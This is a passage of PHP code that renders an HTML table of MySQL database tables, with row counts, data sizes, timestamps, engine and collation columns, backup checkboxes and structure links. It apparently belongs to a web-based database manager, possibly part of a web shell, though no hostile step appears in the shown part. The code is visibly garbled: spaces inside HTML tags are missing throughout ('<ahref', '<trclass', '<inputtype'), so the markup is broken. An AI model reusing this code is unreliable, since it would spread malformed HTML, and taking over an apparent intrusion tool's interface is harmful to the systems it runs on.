                                   p('<td><ahref="javascript:setsort(\'s_Update_time_'.($sort[1]?0:1).'\');">Update_time</a>'.($order== 's_Update_time_0' ? $dchar : '').($order == 's_Update_time_1' ? $uchar :'').'</td>');

                                   if($highver) {

                                          p('<td>Engine</td>');

                                          p('<td>Collation</td>');

                                   }

                                   p('<td>Other</td>');

                                   p('</tr>');

                                   foreach($tabledb as $key => $table) {

                                          $thisbg= bg();

                                          p('<trclass="'.$thisbg.'" onmouseover="this.className=\'focus\';"onmouseout="this.className=\''.$thisbg.'\';">');

                                          p('<tdalign="center" width="2%"><inputtype="checkbox" name="bak_table[]"value="'.$table['Name'].'" /></td>');

                                          p('<td><ahref="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');

                                          p('<td>'.$table['Rows'].'&nbsp;</td>');

                                          p('<td>'.sizecount($table['Data_length']).'</td>');

                                          p('<td>'.$table['Create_time'].'&nbsp;</td>');

                                          p('<td>'.$table['Update_time'].'&nbsp;</td>');

                                          if($highver) {

                                                 p('<td>'.$table['Engine'].'</td>');

                                                 p('<td>'.$table['Collation'].'</td>');

                                          }

                                          p('<td><ahref="javascript:settable(\''.$table['Name'].'\',\'structure\');">Structure</a></td>');

                                          p('</tr>');

                                   }

                                   p('<trclass="head">');

                                   p('<tdwidth="2%">&nbsp;</td>');

                                   p('<td>'.$table_num.'table(s)</td>');

                                   p('<td>'.$table_rows.'</td>');

                                   p('<td>'.$data_size.'</td>');

                                   p('<td>&nbsp;</td>');

                                   p('<td>&nbsp;</td>');

                                   if($highver) {

                                          p('<td>'.$db_engine['Value'].'</td>');

                                          p('<td>'.$db_collation['Value'].'</td>');

                                   }